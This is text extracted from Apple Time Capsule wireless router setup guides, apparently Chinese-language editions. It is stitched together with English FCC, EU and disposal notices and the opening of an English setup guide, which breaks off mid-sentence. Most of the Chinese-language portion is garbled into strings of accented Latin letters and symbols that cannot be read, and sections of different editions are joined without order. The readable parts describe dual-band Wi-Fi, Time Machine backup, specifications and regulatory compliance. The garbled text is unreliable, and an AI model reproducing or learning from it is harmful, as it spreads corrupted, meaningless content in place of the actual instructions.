3  27 c Time Capsule defghi✐ m ÊËÌ⑧ˆ58^Í⑨×ÎÖK×Ø❝$h „?@'(⑧™ 5 ⑨❡ Time Capsule d€^ê¶ÖK✐  Time Capsule € DHCP 1 IP B„❡  Š“d€ÖK# ➜Apple Network XXXXXX➝⑧a XXXXXX €^ AirPort ID a Â×.».⑨❡  Time Capsule -.€ÖK# public❡ k Time Capsule lmnopq❝rst;uv✐ 1 ÓØ Time Capsule f❡ 2 ~2, Time Capsule l❝ýÊËÌ×ÎÖK×Ø❡ Time Capsule 0un›œ;<1❝Time Capsule ¡ AirPort PQÙÚ❝:n Internet z{{>~ ⑧ISP⑨ÛÕ45qÝÞ❡562n DSL :ÎÏÐ F"1 Internet❝m0unÏÐF: Internet ¥¦"÷6aÜ❡œ ÏÐFr"?\%@❝mý£GaÜÏÐFf❝¤ÝÞ ¥ÂÃÖ" 1❡3Ö14ÏÐFf¥ß❝ý& Time Capsule n™š›œ$1 "1hÏÐF4❡28  3  5GÄ ?@89“½Q❝ýc ➜AirPort ➝❝%D2 Time Capsule❝Á ➜wLx➝%ia%D ➜þY➝❡×jê ➜wLx ➝á ?@“½Q❡ 2m0^3 AirPort j¼%D ➜·wLxn³<ÝÞ➝❡56wLx4 5ÝÞ❝➜AirPort ➝€❝£|R2ÙÚÝÞ❡ í2÷dDEF"1h Time Capsule 4 USB Ë❝Çn AirPort 4fg7 #V¶D❝ýUV궇ˆ✐ 1 &÷14£÷DEF❡ 2 &1÷ßß14DEF Time Capsule 4 USB Ë❡ 3 &÷3)*fg4 ➜DEF¶E➝·à¼%DDEF❡ 5 Mac OS X v10.5 ,8?@ Macintosh 678✐  ý%D ➜i6➝ > ➜j♠➝❝ÁÂ×jê ➜¶DÊl➝❡  ×jê ➜Ž,➝⑧+⑨£%D¶EaDEF❝ÁÂ×jê ➜Ž,➝⑧+⑨❡ 5 Mac OS X v10.2.7 ,8?@ Macintosh 678✐  c ➜DEF➝⑧B ➜> / ➝§¨Io⑨❡  íDEF3¶E¥o❝ý× ➜Ž,➝jê❡  A%ia%D Bonjour❝%DDEF❝ÁÂ×jê ➜Ž,➝⑧+⑨❡ 3  29 5Windows XP 678✐   [ J ] tuEac [ ¶DÊl ]❡  %DDEF❡í”ia2ÑDEF❝× [ áDEF ] jê❝ÁÂèéfg4 +h #V❡ 4 —DEF❝¤ÝÞ ¥ÂÃÖYDEF❡ AirPort Apple €ªz{G AirPort ❡â2G Time Capsule  ❡ 20^3 AirPort j¼%D ➜~c AirPort lãäG&â➝: ➜ãäG&â➝❡562å% ➜ãäG&â➝❝ý3A%i¼%Dj‚ æªl¦ ⑧ˆ5¼æ⑨❝«¬XYãäG&â❡ Time Capsule ê¶âR&0|R2 Time Capsule çhPQÙڐ‘è éêÙÚ❡  d2 Time Capsule KëìÌ ⑧5í:îï⑨‰ðJñe❡òIî SóôõöEÈ❡  í2d Time Capsule KíÂà❝ýS Time Capsule íÕ÷¥¦ )ú ð 2.5 øW ⑧1 ùú⑨ûü❡  ýþd2 Time Capsule JK3<ÒÈ^4õöÈñe❡30  3   í2d Time Capsule K¬®Z¯a❝>ýþ Time Capsule  Ò®❞·Q:f❡d21¿aJK Time Capsule j ❡ 0uS Time Capsule 1¥¦ÕV ¦❡  ± Time Capsule BK❝>ûü ❞2.4 : 5 gigahertz ⑧GHz⑨f ^žNOð 7.6 ø ⑧25 ù⑨❡  ýdžÌ` ⑧❞❞ ̤⑨J3Time Capsule 4È❡Ž€N OTime Capsule ❡ AirPort ûüNO❝uð#ÝÞ0u•❡ ê¶&â0u€NO AirPort PQ✐   $z{ ⑧DSS⑨f}  !Æy‹¹‹¨eãäk"fÎ❡ýZ#~ÈÉ^»b‹ fÎ❡  !Æf$%❝ˆ5f❞f&è'()^4fÔ¤   2.4 : 5 GHz }*f❡562f: AirPort PQ45ÝÞ❝ý GwLx: Time Capsule e})❝:Gfe})❡  “ôwLx“+})❡ˆ5❝56wLx A '}) 1❝wLx B K>'}) 6 :}) 11❡4 31 4 wxyz❞|}~€ Time Capsule 5 Time Capsule “½Q❝ýß, www.apple.com/tw/airport S❡ íî-. Time Capsule⑧56~²23ç± Time Capsule å¹4l£2- .⑨❝ýß, www.apple.com/tw/register S❡ 5 AirPort ²³½Q❞‚/0½Q3/’12Ó❝^ Apple  êÑ❝ýß, www.apple.com/tw/support/airport S❡ 534^·²³z{❝ýß, www.apple.com/tw/support S❝£%D2 4¢:LÓ❡32  4  íî7ÙGÄ3 Time Capsule 4 ➜AirPort ➝“½Q❝ýc ➜AirPort ➝£%D ➜QR+h➝ > ➜AirPort QR+h➝❡ í2 Time Capsule Û567:n7%@?\❝ýèé`þ.a+h ❞ fgQR+h4½ü❡ í Time Capsule 8Á7,9?\❝ýß, www.apple.com/tw/support S^7 Ù5»b ƒz{½Q❡ Time Capsule 2 Time Capsule :oD<- ❡33 Time Capsule ‚ƒ„~C… †‡ Time Capsule  ˆ‰Š‹✐2.4  5 GHz  LŒMf3‹✐ƒ 23 dBm ⑧;⑨  Ž✐802.11 DSSS 1  2 Mbps ïð❝802.11a❞802.11b❞802.11g ñò draft 802.11n ñò  1 RJ-45 10/100/1000Base-T Gigabit ›œ WAN ⑧<⑨  3 RJ-45 10/100/1000Base-T Gigabit ›œ LAN ⑧G⑨  P-¶<=> ⑧USB d⑨ 2.0  802.11 a/b/g/n AirPort Extreme   v‘✐0° C ú 35° C ⑧32° F ú 95° F⑨  ’“‘✐–25° C ú 60° C ⑧–13° F ú 140° F⑨  ”•–‘ ⑧v—⑨✐20% ú 80%  ”•–‘ ⑧’“—⑨✐10% ú 90%❝?@A 34 ˜ Time Capsule  ™‘✐197.0 øB ⑧7.75 ùú⑨  š‘✐197.0 øB ⑧7.75 ùú⑨  ›‘✐36.33 øB ⑧1.43 ùú⑨  _œ✐1.6 øC ⑧3.5 ùD⑨ MAC Time Capsule :oD<҂¸B„✐  AirPort ID✐Ł‚B„nEF4 Time Capsule❡  žNO ID✐íîd Time Capsule "1 Internet❝20uîz{µB„½Q° 2 ISP❡ Time Capsule  d Time Capsule frW—Gjà7naÜf❡  ~"1:ÓØ Time Capsule l❝ý{óHÎI❡îSþ óôI õöo[❡  2n89❝œn Time Capsule ;<14f❝´0^dJÙ❡í 2 Time Capsule îz{❝ý:;< 31 ì ➋GÄ+h❞z{²³➌❡  ý Vd1I,Ê+Ëa❡í27^öü%$d1I,Ê+Ëa❝ ÛK«ñò0u£“õ❡ý&21IÊ+ËL¬“õ❝–2nd 1I, >Ê+Ëa❡˜ Time Capsule 35  ~2 Time Capsule l❝·MN Oƒn%@ÑP❡Time Capsule ·M <t❝uʆooQ`N❝4ú·o‰R &a❡  S Time Capsule üS❝5T¾❞UV❞WX❞YW¦¤ñe❡  ý ¡ Time Capsule❝ýþŸhZå$[❝£–ýþ9\]:ž9^¸Ÿ _❡  ý îS`Ì:Sab32 Time Capsule 4❡í454PcË❝ ýӟfÔüabS❡  ýî3d· Time Capsule❡Time Capsule nTdo/0❡ 3KJ:¿elíü~❝0u€ Time Capsule #6f❡~23?Œš a❝ý îgh Time Capsule❡ !†‡ˆ0‰Š‹ŒŽ❝(A‘’“”•–ƒ  Time Capsule❡ (—˜™š  Time Capsule ›œ/žŸ❡7a/Œˆ0 ¡… ¢„£¤¥¦§x¨❡AirPort Express ©ª…^«h¬­®¯°❡36 Regulatory Compliance Information Wireless Radio Use This device is restricted to indoor use due to its operation in the 5.15 to 5.25 GHz frequency range to reduce the potential for harmful interference to cochannel Mobile Satellite systems. Cet appareil doit être utilisé à l’intérieur. Exposure to Radio Frequency Energy The radiated output power of this device is well below the FCC and EU radio frequency exposure limits. However, this device should be operated with a minimum distance of at least 20 cm between its antennas and a person’s body and the antennas used with this transmitter must not be colocated or operated in conjunction with any other antenna or transmitter subject to the conditions of the FCC Grant. FCC Declaration of Conformity This device complies with part 15 of the FCC rules. Operation is subject to the following two conditions: (1) This device may not cause harmful interference, and (2) this device must accept any interference received, including interference that may cause undesired operation. See instructions if interference to radio or television reception is suspected. Radio and Television Interference This computer equipment generates, uses, and can radiate radio-frequency energy. If it is not installed and used properly—that is, in strict accordance with Apple’s instructions—it may cause interference with radio and television reception. This equipment has been tested and found to comply with the limits for a Class B digital device in accordance with the specifications in Part 15 of FCC rules. These specifications are designed to provide reasonable protection against such interference in a residential installation. However, there is no guarantee that interference will not occur in a particular installation. You can determine whether your computer system is causing interference by turning it off. If the interference stops, it was probably caused by the computer or one of the peripheral devices. If your computer system does cause interference to radio or television reception, try to correct the interference by using one or more of the following measures:  Turn the television or radio antenna until the interference stops.  Move the computer to one side or the other of the television or radio.  Move the computer farther away from the television or radio.  Plug the computer into an outlet that is on a different circuit from the television or radio. (That is, make certain the computer and the television or radio are on circuits controlled by different circuit breakers or fuses.) If necessary, consult an Apple Authorized Service Provider or Apple. See the service and support information that came with your Apple product. Or, consult an experienced radio/television technician for additional suggestions. Important: Changes or modifications to this product not authorized by Apple Inc. could void the EMC compliance and negate your authority to operate the product.37 This product was tested for FCC compliance under conditions that included the use of Apple peripheral devices and Apple shielded cables and connectors between system components. It is important that you use Apple peripheral devices and shielded cables and connectors between system components to reduce the possibility of causing interference to radios, television sets, and other electronic devices. You can obtain Apple peripheral devices and the proper shielded cables and connectors through an Apple-authorized dealer. For non-Apple peripheral devices, contact the manufacturer or dealer for assistance. Responsible party (contact for FCC matters only) Apple Inc., Corporate Compliance, 1 Infinite Loop M/S 26-A, Cupertino, CA 95014-2084 Industry Canada Statement This Class B device meets all requirements of the Canadian interference-causing equipment regulations. Cet appareil numérique de la Class B respecte toutes les exigences du Règlement sur le matériel brouilleur du Canada. VCCI Class B Statement Europe—EU Declaration of Conformity For more information, see www.apple.com/euro/ compliance. European Union — Disposal Information This symbol means that according to local laws and regulations your product should be disposed of separately from household waste. When this product reaches its end of life, take it to a collection point designated by local authorities. Some collection points accept products for free. The separate collection and recycling of your product at the time of disposal will help conserve natural resources and ensure that it is recycled in a manner that protects human health and the environment. Disposal and Recycling Information This product has an internal battery. Please dispose of it according to your local environmental laws and guidelines. For information about Apple’s recycling program, go to www.apple.com/environment. California: The coin cell battery in your product contains perchlorates. Special handling and disposal may apply. Refer to www.dtsc.ca.gov/hazardouswaste/ perchlorate. Deutschland: Dieses Gerät enthält Batterien. Bitte nicht in den Hausmüll werfen. Entsorgen Sie dieses Gerätes am Ende seines Lebenszyklus entsprechend der maßgeblichen gesetzlichen Regelungen. Nederlands: Gebruikte batterijen kunnen worden ingeleverd bij de chemokar of in een speciale batterijcontainer voor klein chemisch afval (kca) worden gedeponeerd.38 Ÿ ✐ Singapore Wireless Certification Taiwan Warning Statements Korea Warning Statements © 2009 Apple Inc.  j®9❡ Apple❞i6❞Apple ïi❞AirPort❞AirPort Express❞ AirPort Extreme❞Apple TV❞Bonjour❞iPod❞ Leopard❞Macintosh❞Mac OS Time Capsule n Apple Inc. 334ž4¢LÓ-.~ï❡ Finder❞iPhone  Time Machine n Apple Inc. ~ï❡ ¬zžøj/0Š“0u'eöøj ~ï❡www.apple.com/airport www.apple.com/support/airport TA019-1384-A Time Capsule3  5 1 7  Time Capsule 8  AirPort  9  11 Time Capsule  13 2 Time Capsule 14  Time Capsule  17  AirPort  19  19  !"# Internet $% 21 &'()*+ 22 ,-./0123456$%7 23 8 Time Capsule  Time Machine 25 3 25 9:;<= Internet 25 >?34@ Time Capsule 34 26 Time Capsule ABCD 27 Time Capsule  EFGHIJK4 28 LMNABCD 29 O AirPort  29 P Time Capsule QRS+ 30 TU AirPort VWXY&Z 31 4 33 Time Capsule 36 Regulatory Compliance Information1 5 1  Time Capsule  Time Capsule  Wi-Fi [\]Z^_`ab❞d Mac OS X v10.5.2 Leopard @O(efg Time Machine DhijklmnopBqrs\]Z^ t Time Capsule o❞ Time Capsule uvw[x: AirPort Extreme yzj{|}~€‚❞ & ƒ Time Capsule „j…T†(‡ Wi-Fi ˆ   2.4 ‰Š‹ (GHz) j 802.11b❝ 802.11g ! 802.11n &Zj iPhone❝ iPod touch !Žqr   5 GHz j 802.11n ! 802.11a &Zjqr! Apple TV &ZT:‘’{|“”•:–—˜•j™š Time Capsule T› oqr!&Z"#œ Internet ;<❞6  1 Bž Time Capsulej76Ÿˆ  d Mac OS X v10.5.2 @O(ef¡g Time Machine DhiZ^ opBqrŸ–Ÿ¢;? Time Capsule  Time Machine@❞  £34¤¥¦j§„;? Mac OS X Leopard D Time Machine  Time Capsule  Mac OS X v10.5.2 aST❞  Macintosh  Time Capsule  wäåB AirPort @ AirPort Extreme ù Macintosh qrjŸ°& …µ¶ ;<ú@wŸ¢q´;❞7â ã? @Ab dâAirPort ãâAirPort & ãây zãÈBg¡g*4âC]üJKãjD TF I JKj+C]'=❞ &()*10*-. 6:Edí]%2❞ Time Capsule EFí]¨GHIJ❞12  1 E Time Capsule q„j âAirPort ã& …jŸ› Internet ;<❝USB LMN❝ USB ¼½@ÒB8❞d¶ Mac OS X q rojâAirPort ãËâDhiã¬Kâã¬Kgú™ d¶ Windows XP @ Windows Vista qrojDË âLã> âpBhiã> âAirPortãg❞ &'2* Time Capsule ìïZƒ,-./0$%❞9: ; 22 é â,-./0123456$%7 ã❞ /2 13 2  Time Capsule Time Capsule Internet AirPort fM{|žBE Time Capsule ;âp Bhiã > âAirPortãg¡j*]7 Time Capsulej§„^Ù â_`ã❞ 4 Ùæab ❞ 4 Mac OS X v10.5 56789:; 1 *4cb > âdefƒ& ãj§„^Ù âLM›ghã❞ 2 ^ÙiÙÚ (+) ¨÷+g*]7LMN❞ 3 ^ÙiÙÚ❞ 7LMN9d÷+gjgÙÚjk…❞ 4 Mac OS X v10.3 < 10.4 56789:; 1 LâLMN& ã ËâDhiã¬Kâã¬Kg¡❞ 2 ÷+g*]LMN❞ LMN9d÷+gj^ÙiÙÚ¨?@Abg*4âBonjourãj§„ ÷+g*]LMN❞ =>?9 Windows XP < Windows Vista 567:;@ 1  Time Capsule » CD äå Bonjour  Windows e¡❞ 2 Ùæab ; âpBhiã > âAirPortã❞ 2 *]7 Time Capsulej§„^Ù â_`ã❞18  2 Time Capsule 3 Ùæab & Time Capsule !❞ âAirPort ã& NþEs%7Bátu!á0vU% 2j¨wN728& ❞ 7á Time Capsule ;<= InternetjD1á Internet vUx (ISP) {|œ  DSL ÎÏÐο@´ÎÏÐο¡y/j@ÑÒBŸ¢ < Internet ;<❞7 ISP 3`žz'Á { IP m|@ DHCP . / ID¡j76:1ád âAirPort ãg2}ÁÂ❞à& 7 Time Capsule ü34ºÁÂ❞ 2 Time Capsule 19 76Ÿ âAirPort ã& Nþ❞º& NþT~ 57%W€❝34¤¥–&'’©*+pô1~❞ 7Ld7o"# USB LMN@ USB ¼½ˆ 1 ELMN@¼½;<= Time Capsule  USB 0Ê (d) o❞ 2 LâAirPort ã Macintosh qrˆËâDhiã¬Kâ ã¬Kgú¶ Windows XP qrˆËâLã>âpBhiã>âAirPortã g¡❞ 3 *]7 Time Capsulej§„^Ù â_`ã❞ o9tpá  Time Capsulej^ÙâFqrãŸqr6&Zj §„÷+g*]7 Time Capsule❞ 4 Ùæab ❞ Internet 7L›oB‚x:@;<=Ÿ¢0Êqr"# Internet ; âpBhiã > âAirPortãg¡❞ 2 *]7 Time Capsulej§„^Ù â_`ã❞ áUìƒ& ƒ Time Capsule µ¶O„j76:ô;âpBhiã>âAirPortã g¡❞ 2 ÷+gBÄ&Zj*]7pá &Z❞o9tpá  Time Capsulej^Ù âFqrãŸqr6&Zj§„÷+g*]7  Time Capsule❞ 7áUìƒ& ƒ Time Capsule µ¶O„j76:ô;<=… j…:U Time Capsule µ¶O„❞ á*47páO„jd Macintosh qrobg AirPort b❞däåž Windows XP qrojE †Pd;<‡îoj&t7 ot€ˆ (SSID)j§„÷+g*4  BÄ6¡❞ 3  âyzãbg*4 â]& ã❞{7234jD234❞ B âAirPort ãg]& x:OÄÁÂj9:www.apple.com.cn/ support/airport oâDesigning AirPort Networks Using AirPort Utility (Mac OS X v10.5 + Windows)ã  Airport &Q AirPort  (MacOS X v10.5 + Windows)¡❞22  2 Time Capsule 7 WPA Personal @ WPA/WPA2 Personal µ¶34¤¥jD76Ÿ‘ ./0{|U7$%x:j™91©*234❞ à7,-./0$%7üjº./0€ˆ! MAC m|  @ AirPort ID¡T/E”d âAirPort ã$%Ï÷+gj&t7÷+g •–º./0❞7û6Ÿ{| 24 —ü$%j®ü«³„j./0E9:G$% 7❞ à7,-./0$%7üjº./01234❞ NOPQRSTUVWXYZ[\!5UV 1 LâAirPort ãj*]7 Time Capsulej§„âyzãb*4â ]& ã❞ôáü234❞ 2  âyzãbg*4 âi./0ã❞ 3 *]º./0$%‰Aˆ  *] PIN Ÿ2./0ø$%ü{|˜ËT™❞  *] âšHIJãŸ,-;IJ./0$%❞ à Time Capsule d“›./0üj LED TFœI#$❞ 2 Time Capsule 23 p‘7{|žü«$%j*] âE./0$%‹Ï‘ 24 — üã❞9*]}*+j./0E6Ÿ&$%j&t7÷+g•–º./0❞ Time Capsule Time Machine d Mac OS X Leopard g Time Machine Dhij76ŸZ^qroŸ ˜j ¡7æ¢❝£¤❝¥¢!¬¦❞ & ƒ Time Machine ª„j…T'§\]Z^7qr❞ 7v Mac OS X v10.5.2 @O(efjD;H;Z^©½ãj§ „ Time Machine Tª¶«ç¬>❞  Mac OS X Leopard g âdefƒ& ã âTime MachineãÈB& \ ]Z^❝O„=9}Z^©½@α’©& ❞ A?9 Mac OS X Leopard 567I<]^ Time Machine 1 *4cb > âdefƒ& ãj§„^Ù âTime Machineã❞ 2 E­]= âã❞ 3 ^Ù âO„©½ã❞ 4 *47 Time Capsule ¨^Ù âZ^ã❞24  2 Time Capsule šH Time Capsule ! Time Machine Z^6:1á±®@O¯ü«j4° 7Z^T±IJ❞ᐳLZ^‡jŸ¢E Time Capsule ; âMac wNãj§„djkÄ âTime Machineã❞3 25 3 _`abcde Time Capsule Internet  IJ&<7qr;<= Internet❞79:;âpBhiã>âAirPortã g¡❞ 4 *]7 Time Capsulej§„ âyzãbg*4 â]& ã❞ 5 dg^Ù âAirPortãj§„^Ù âyzã❞ 6 ‘7 Time Capsule 234❞ 7 ^Ùâã¨âä[•ã?@Abg*4ý3‰ŠjŸ°‘ AirPort í3¨ÓC34¤¥❞7Lž3x:j‘7 AirPort 2 34❞ 8 ^Ù âOãŸFí] Time Capsule ¨Ô& ❞ Time Capsule IJÕç„GE…q❞  Time Capsule %[ÂÃCDjD76:1áE’ØËt@Ö& ❞ , Time Capsule ij0vwxyUVsz{|4}RUV~,Qi j0 Time Capsule €CUV❞ 3 27 h Time Capsule ifjkl m ËÌÍÎ  ÏÐÑ¡ÙÒØËÙÚj&t ‡JK  S× 5 ! "¡❞ Time Capsule EØ˨BŸç& ˆ  Time Capsule  DHCP <ؒ IP m|❞  €ˆEØˑ Apple Network XXXXXX ®Ù XXXXXX  AirPort ID “„Ú ËT™ÛÜ¡❞  Time Capsule 34Øˑ public❞ mn!5 Time Capsule opqrstuvwxy 1 E Time Capsule Þq❞ 2 E Time Capsule q}üjËÌÍÎÙÒØËÙÚ❞ Time Capsule Ÿ¢q´6:Ý'(;<❝ Time Capsule 6:9d AirPort ÞßàáŸ@Ñ 7 Internet vUx6:Ed%2❞7 DSL ÎÏÐο@´ÎÏÐο ;<= InternetjDºÎÏÐο6:ìâãž;<@ Internet ;<❞5°Î ÏÐοäå>'=jûIJÞ…qj“›è!"j§„‘ÎÏÐο Fˆ 1 ('LMNìƒq¨ìq❞ 2 ('q´ìƒëìm;<=LMN! Time Capsule  USB 0Êo❞ 3 (¤ìƒd./0qr âLMN÷+ãíÊg*]žºLMN❞ ABCD Mac OS X v10.5 âdefƒ& ãj§„^Ù âLM›ghã❞  ^ÙiÙÚ (+) ¨d÷+g*]7LMNj§„^ÙiÙÚ (+)❞ ABCD Mac OS X v10.2.7 ❞ 4 LMNj“›è!ýj§„Gí…❞ AirPort Apple '§O AirPort ❞î7O Time Capsule Ÿ“❞ 7û6Ÿd AirPort fƒ& g*] âL AirPort üÅÆOãj@*] âÅÆOã❞7*] âÅÆOãjD?@Abg*4ü«ï   â´ð㡟\]ÅÆO❞ Time Capsule ŸçîBN Time Capsule 3`“”²Áàá!Þßàá❞  E Time Capsule P dèåABÜñÍ Sò@óô¡õö÷Íg❞I JE’P døùúû+ÈË ❞  7E Time Capsule P dò„ÈjD Time Capsule !ò×ü«ýD= ²B 25.4 þ  1 ¡❞  E Time Capsule P dÓÈ@Óȟosvúû+È÷Íg❞30  3  ád ¤g gE Time Capsule !0 &ZPd$j£€q ´❝ €q´@q Time Capsule❞P Time Capsule üjq´áPd ❞ Time Capsule !q´ª«á¤¸6:Sõ«❞  IJE Time Capsule P dù❝ 2.4 @ 5 ‰Š‹ (GHz) q!’©X Y=² 7.6   25 ¡Ë ❞  E’©ÍΠf❝@—͓“¡P d Time Capsule ❞®6: T¥C Time Capsule ❞ AirPort ùXY øjVW%26:•ûR —❞ŸçS+TU AirPort ²Á!"XYˆ    &<#$vU (DSS) €’%&  'Ætu()#$žp»*§}+q´❞‚d&Z"!xŸ3`u q´❞  'Æq,&Zj(-q❝q,./0❝qz““  2.4 GHz @ 5 GHz q€’àáŸq❞7q@ AirPort ²ÁE d%2jO„7yz@ Time Capsule €0j@ÑO„7q €0❞  »1B21€0yz❞Սjyz A & ‘€0 1jDyz B Dº& ‘€0 6 @ 11❞4 31 4 DdEz{|❝~1€ Web Time Capsule B Time Capsule “ÁÂj$% www.apple.com.cn/airport❞ áQ3 Time Capsule 7däå Time Capsule CD oüAB®¯4¡j $% www.apple.com/register/cn/❞ B AirPort ·¸ÁÂ❝›z'!ÎmÁÂ!56À7Ÿ–“ Apple  çÔj$% www.apple.com.cn/support/airport❞ B89Ÿ¾·¸ÁÂj$% www.apple.com/supportj§„*47pd9 ò@m÷❞32  4 ážÐB Time Capsule » âAirPort ãOÄÁÂjL âAirPort ã¨*4 âwNã > âAirPort wNã❞  Time Capsule o$ì:;@9:'=>jÙæf3❝abwN!d <g¬>❞  Time Capsule È9:>j$% www.apple.com.cn/support ŸžÐB 3`¤=vUÁÂ❞ Time Capsule i÷ M Time Capsule >❞33 Time Capsule ‚ƒ1B„…† Time Capsule  ‡ˆ2.4 = 5 GHz  S‰TkŠ‹“(6? 23 dBm  îˆ@¡  Œ802.11 DSSS 1 ! 2 Mbps îï❝ 802.11a❝802.11b❝ 802.11g ðñjŸ–òó 802.11n ðñ  1 RJ-45 10/100/1000Base-T ‰ŠËŸ¢ÌÍ (<)  3 RJ-45 10/100/1000Base-T ‰ŠËŸ¢ÔÍ (G)  ²A¶B (USB d) 2.0  802.11 a/b/g/n AirPort Extreme   xyŽ0° C = 35° C  32° F = 95° F¡  ‘Ž–25° C = 60° C  –13° F = 140° F¡  ’“” •xy–—20% = 80% mUC  ’“” •‘–—10% = 90% mUC  DEF¡34 ˜ Time Capsule  ™197.0 þ  7.75 ¡  š197.0 þ  7.75 ¡  F36.33 þ  1.43 ¡  ›œ1.6 ‰G  3.5 H¡ (MAC) Time Capsule d¾I>JMBÓ¼m|ˆ  AirPort ID’g†m|KLo Time Capsule❞  U ID76:1áE}m|{|æ ISP Ÿ°E Time Capsule ; Time Capsule qN‰ŠvE’qoÕç❞  à;<@Þ Time Capsule üjUôOÒP†❞ áøùPúû Q❞  9¹8‘çè78js9DR Time Capsulej5à…ìÞqüû9:R ❞7 Time Capsule 1áS=j9:; 31 é âžÐOÄÁÂ❝vU! ·¸ã❞  9áEj E&ZŸt¾ÈZXõ,g❞   Time Capsule øù[ j\]❝^_¼❝`a❝b`c“❞  ¤¥ Time Capsule 9£dn&‘!ef@’©C,g❞  — 9áEhÍ@[ ijd Time Capsule o❞ìkÍÎjæ… Þqj§„GÉ^ijÍ❞  dc¾ Time Capsule❞ Time Capsule vcŸ!Î❞ E”@¬>9àj6:T:; Time Capsule❞d2 Time Capsule ³hgj— 9áE…–dmo❞ ‚*ƒ„…†‡&ˆ‰Šc‹ŒjV Time Capsule❞ \ Ž‘’ Time Capsule❞ s“”*ƒ~4•–— ˜™š›❞œž4Ÿ '€ ¡—¢L❞36 Regulatory Compliance Information Wireless Radio Use This device is restricted to indoor use due to its operation in the 5.15 to 5.25 GHz frequency range to reduce the potential for harmful interference to cochannel Mobile Satellite systems. Cet appareil doit être utilisé à l’intérieur. Exposure to Radio Frequency Energy The radiated output power of this device is well below the FCC and EU radio frequency exposure limits. However, this device should be operated with a minimum distance of at least 20 cm between its antennas and a person’s body and the antennas used with this transmitter must not be colocated or operated in conjunction with any other antenna or transmitter subject to the conditions of the FCC Grant. FCC Declaration of Conformity This device complies with part 15 of the FCC rules. Operation is subject to the following two conditions: (1) This device may not cause harmful interference, and (2) this device must accept any interference received, including interference that may cause undesired operation. See instructions if interference to radio or television reception is suspected. Radio and Television Interference This computer equipment generates, uses, and can radiate radio-frequency energy. If it is not installed and used properly—that is, in strict accordance with Apple’s instructions—it may cause interference with radio and television reception. This equipment has been tested and found to comply with the limits for a Class B digital device in accordance with the specifications in Part 15 of FCC rules. These specifications are designed to provide reasonable protection against such interference in a residential installation. However, there is no guarantee that interference will not occur in a particular installation. You can determine whether your computer system is causing interference by turning it off. If the interference stops, it was probably caused by the computer or one of the peripheral devices. If your computer system does cause interference to radio or television reception, try to correct the interference by using one or more of the following measures:  Turn the television or radio antenna until the interference stops.  Move the computer to one side or the other of the television or radio.  Move the computer farther away from the television or radio.  Plug the computer into an outlet that is on a different circuit from the television or radio. (That is, make certain the computer and the television or radio are on circuits controlled by different circuit breakers or fuses.) If necessary, consult an Apple Authorized Service Provider or Apple. See the service and support information that came with your Apple product. Or, consult an experienced radio/television technician for additional suggestions. Important: Changes or modifications to this product not authorized by Apple Inc. could void the EMC compliance and negate your authority to operate the product.37 This product was tested for FCC compliance under conditions that included the use of Apple peripheral devices and Apple shielded cables and connectors between system components. It is important that you use Apple peripheral devices and shielded cables and connectors between system components to reduce the possibility of causing interference to radios, television sets, and other electronic devices. You can obtain Apple peripheral devices and the proper shielded cables and connectors through an Apple-authorized dealer. For non-Apple peripheral devices, contact the manufacturer or dealer for assistance. Responsible party (contact for FCC matters only) Apple Inc., Corporate Compliance, 1 Infinite Loop M/S 26-A, Cupertino, CA 95014-2084 Industry Canada Statement This Class B device meets all requirements of the Canadian interference-causing equipment regulations. Cet appareil numérique de la Class B respecte toutes les exigences du Règlement sur le matériel brouilleur du Canada. VCCI Class B Statement Europe—EU Declaration of Conformity For more information, see www.apple.com/euro/ compliance. European Union — Disposal Information This symbol means that according to local laws and regulations your product should be disposed of separately from household waste. When this product reaches its end of life, take it to a collection point designated by local authorities. Some collection points accept products for free. The separate collection and recycling of your product at the time of disposal will help conserve natural resources and ensure that it is recycled in a manner that protects human health and the environment. žŸ1 ¡{| f!Π-Ÿ q¼❞l±àm¤Šðþ …❞B Apple mØQnÁÂj$% www.apple.com.cn/environment❞ California: The coin cell battery in your product contains perchlorates. Special handling and disposal may apply. Refer to www.dtsc.ca.gov/hazardouswaste/ perchlorate. Deutschland: Dieses Gerät enthält Batterien. Bitte nicht in den Hausmüll werfen. Entsorgen Sie dieses Gerätes am Ende seines Lebenszyklus entsprechend der maßgeblichen gesetzlichen Regelungen. Nederlands: Gebruikte batterijen kunnen worden ingeleverd bij de chemokar of in een speciale batterijcontainer voor klein chemisch afval (kca) worden gedeponeerd.38 Taiwan: Singapore Wireless Certification Taiwan Warning Statements Korea Warning Statements © 2009 Apple Inc. ¤opq❞ Apple❝c❝Apple îr❝AirPort❝ AirPort Express❝ AirPort Extreme❝Apple TV❝Bonjour❝iPod❝Leopard❝ Macintosh❝Mac OS ! Time Capsule v Apple Inc. d8 9–’©9ò!m÷Q3xî❞Finder❝iPhone ! Time Machine v Apple Inc. xî❞ ®Ù{–’©!Î!st€ˆ6:v’mDst xî❞www.apple.com/airport www.apple.com/support/airport CH019-1384-A Time Capsule Setup Guide3 Contents 5 Getting Started 8 About Your Time Capsule 9 About the AirPort Software 10 What You Need to Get Started 12 The Time Capsule Status Light 14 Setting Up Your Time Capsule 15 Using Your Time Capsule to Create Your Wireless Network 18 Using AirPort Utility 20 Creating a New Wireless Network 20 Configuring and Sharing Internet Access 22 Setting Advanced Options 23 Allowing Wireless Clients to Access Your Network Without Entering a Password 24 Using Time Machine with Your Time Capsule 26 Tips and Troubleshooting 26 If You Can’t Connect to the Internet 26 If You Forgot Your Network Password or Time Capsule Password 28 If Your Time Capsule Isn’t Responding 29 If Your Time Capsule Status Light Flashes Amber4 30 If Your Printer Isn’t Responding 31 Updating AirPort Software 31 Time Capsule Placement Considerations 32 Items That Can Cause Interference with AirPort 33 Learning More, Service, and Support 35 Time Capsule Specifications and Safety Guidelines 38 Regulatory Compliance Information1 5 Getting Started Congratulations on purchasing your Time Capsule. Read this guide to get started. Time Capsule offers you the simplicity of fully automated backup for your Wi-Fi network. Using the Time Machine application in Mac OS X v10.5.7 Leopard or later, it’s easy and automatic to back up all the computers on your network to a single Time Capsule. The Time Capsule is also a fully featured AirPort Extreme Base Station that provides simultaneous dual-band wireless networking.When you set up your Time Capsule, it creates two high-speed Wi-Fi networks:  A 2.4 gigahertz (GHz) network for 802.11b, 802.11g, and 802.11n devices, such as iPhone, iPod touch, and older computers  A 5 GHz network for 802.11n and 802.11a devices, such as newer computers, iPad, and Apple TV Wireless devices join the network that provides them the best performance and compatibility, and the Time Capsule shares your broadband Internet connection with computers and devices on your network.6 Chapter 1 Getting Started With your Time Capsule, you can:  Use the Time Machine application in Mac OS X v10.5.7 (or later) to back up all the computers on your wireless network, as well as computers connected to your Time Capsule using Ethernet. Note:  Your first backup with Time Capsule and Time Machine could take overnight or longer, depending on how much data you’re backing up. To speed up the initial backup, use an 